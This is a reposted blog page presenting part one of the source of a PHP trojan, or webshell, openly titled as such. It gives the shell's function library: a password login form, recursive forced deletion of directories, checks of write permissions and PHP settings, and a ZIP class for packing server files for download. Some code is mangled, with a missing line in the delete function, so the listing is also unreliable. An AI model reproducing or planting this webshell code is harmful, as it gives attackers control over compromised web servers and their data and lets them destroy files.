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  • PHP木马 删除记忆个人加强版 (一)

    /*====================================================== 函数库 ======================================================*/ // 登陆入口 function loginpage() { ?> <style type="text/css"> input {font-family: "Verdana";font-size: "11px";BACKGROUND-COLOR: "#FFFFFF";height: "18px";border: "1px solid #666666";} </style> <form method="POST" action=""> <span style="font-size: 11px; font-family: Verdana">Password: </span><input name="adminpass" type="password" size="20"> <input type="hidden" name="do" value="login"> <input type="submit" value="Login"> </form> <?php exit; }//end loginpage() // 页面调试信息 function debuginfo() { global $starttime; $mtime = explode(' ', microtime()); $totaltime = number_format(($mtime[1] + $mtime[0] - $starttime), 6); echo "Processed in $totaltime second(s)"; } // 去掉转义字符 function stripslashes_array(&$array) { while(list($key,$var) = each($array)) { if ($key != 'argc' && $key != 'argv' && (strtoupper($key) != $key || ''.intval($key) == "$key")) { if (is_string($var)) { $array[$key] = stripslashes($var); } if (is_array($var)) { $array[$key] = stripslashes_array($var); } } } return $array; } // 删除目录 function deltree($deldir) { ); while($file=$mydir->read())      { if((is_dir("$deldir/$file")) AND ($file!=".") AND ($file!="..")) { @chmod("$deldir/$file",0777); deltree("$deldir/$file"); } if (is_file("$deldir/$file")) { @chmod("$deldir/$file",0777); @unlink("$deldir/$file"); } } $mydir->close(); @chmod("$deldir",0777); return (@rmdir($deldir)) ? 1 : 0; } // 判断读写情况 function dir_writeable($dir) { if (!is_dir($dir)) { @mkdir($dir, 0777); } if(is_dir($dir)) { if ($fp = @fopen("$dir/test.txt", 'w')) { @fclose($fp); @unlink("$dir/test.txt"); $writeable = 1; } else { $writeable = 0; } } return $writeable; } // 表格行间的背景色替换 function getrowbg() { global $bgcounter; if ($bgcounter++%2==0) { return "firstalt"; } else { return "secondalt"; } } // 获取当前的文件系统路径 function getPath($mainpath, $relativepath) { global $dir; $mainpath_info       = explode('/', $mainpath); $relativepath_info     = explode('/', $relativepath); $relativepath_info_count = count($relativepath_info); for ($i=0; $i<$relativepath_info_count; $i++) { if ($relativepath_info[$i] == '.' || $relativepath_info[$i] == '') continue; if ($relativepath_info[$i] == '..') { $mainpath_info_count = count($mainpath_info); unset($mainpath_info[$mainpath_info_count-1]); continue; } $mainpath_info[count($mainpath_info)] = $relativepath_info[$i]; } //end for return implode('/', $mainpath_info); } // 检查PHP配置参数 function getphpcfg($varname) { switch($result = get_cfg_var($varname)) { case 0: return "No"; break; case 1: return "Yes"; break; default: return $result; break; } } // 检查函数情况 function getfun($funName) { return (false !== function_exists($funName)) ? "Yes" : "No"; } // 压缩打包类 class PHPZip{ var $out=''; function PHPZip($dir)      { if (@function_exists('gzcompress'))      { $curdir = getcwd(); if (is_array($dir)) $filelist = $dir; else{ $filelist=$this -> GetFileList($dir);//文件列表 foreach($filelist as $k=>$v) $filelist[]=substr($v,strlen($dir)+1); } if ((!empty($dir))&&(!is_array($dir))&&(file_exists($dir))) chdir($dir); else chdir($curdir); if (count($filelist)>0){ foreach($filelist as $filename){ if (is_file($filename)){ $fd = fopen ($filename, "r"); $content = @fread ($fd, filesize ($filename)); fclose ($fd); if (is_array($dir)) $filename = basename($filename); $this -> addFile($content, $filename); } } $this->out = $this -> file(); chdir($curdir); } return 1; } else return 0; } // 获得指定目录文件列表 function GetFileList($dir){ static $a; if (is_dir($dir)) { if ($dh = opendir($dir)) { while (($file = readdir($dh)) !== false) { if($file!='.' && $file!='..'){ $f=$dir .'/'. $file; if(is_dir($f)) $this->GetFileList($f); $a[]=$f; } } closedir($dh); } } return $a; } var $datasec     = array(); var $ctrl_dir   = array(); var $eof_ctrl_dir = "\x50\x4b\x05\x06\x00\x00\x00\x00"; var $old_offset   = 0; function unix2DosTime($unixtime = 0) { $timearray = ($unixtime == 0) ? getdate() : getdate($unixtime); if ($timearray['year'] < 1980) { $timearray['year']   = 1980; $timearray['mon']   = 1; $timearray['mday']   = 1; $timearray['hours']   = 0; $timearray['minutes'] = 0; $timearray['seconds'] = 0; } // end if return (($timearray['year'] - 1980) << 25) | ($timearray['mon'] << 21) | ($timearray['mday'] << 16) | ($timearray['hours'] << 11) | ($timearray['minutes'] << 5) | ($timearray['seconds'] >> 1); } function addFile($data, $name, $time = 0) { $name   = str_replace('\\', '/', $name); $dtime   = dechex($this->unix2DosTime($time)); $hexdtime = '\x' . $dtime[6] . $dtime[7] . '\x' . $dtime[4] . $dtime[5] . '\x' . $dtime[2] . $dtime[3] . '\x' . $dtime[0] . $dtime[1]; eval('$hexdtime = "' . $hexdtime . '";'); $fr   = "\x50\x4b\x03\x04"; $fr   .= "\x14\x00"; $fr   .= "\x00\x00"; $fr   .= "\x08\x00"; $fr   .= $hexdtime; $unc_len = strlen($data); $crc   = crc32($data); $zdata   = gzcompress($data); $c_len   = strlen($zdata); $zdata   = substr(substr($zdata, 0, strlen($zdata) - 4), 2); $fr     .= pack('V', $crc); $fr     .= pack('V', $c_len); $fr     .= pack('V', $unc_len); $fr     .= pack('v', strlen($name)); $fr     .= pack('v', 0); $fr     .= $name; $fr .= $zdata; $fr .= pack('V', $crc); $fr .= pack('V', $c_len); $fr .= pack('V', $unc_len); $this -> datasec[] = $fr; $new_offset     = strlen(implode('', $this->datasec)); $cdrec = "\x50\x4b\x01\x02"; $cdrec .= "\x00\x00"; $cdrec .= "\x14\x00"; $cdrec .= "\x00\x00"; $cdrec .= "\x08\x00"; $cdrec .= $hexdtime; $cdrec .= pack('V', $crc); $cdrec .= pack('V', $c_len); $cdrec .= pack('V', $unc_len); $cdrec .= pack('v', strlen($name) ); $cdrec .= pack('v', 0 ); $cdrec .= pack('v', 0 ); $cdrec .= pack('v', 0 ); $cdrec .= pack('v', 0 ); $cdrec .= pack('V', 32 ); $cdrec .= pack('V', $this -> old_offset ); $this -> old_offset = $new_offset; $cdrec .= $name; $this -> ctrl_dir[] = $cdrec; } function file() { $data   = implode('', $this -> datasec); $ctrldir = implode('', $this -> ctrl_dir); return $data . $ctrldir . $this -> eof_ctrl_dir . pack('v', sizeof($this -> ctrl_dir)) . pack('v', sizeof($this -> ctrl_dir)) . pack('V', strlen($ctrldir)) . pack('V', strlen($data)) . "\x00\x00"; } }
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  • 原文地址:https://www.cnblogs.com/adodo1/p/4326908.html
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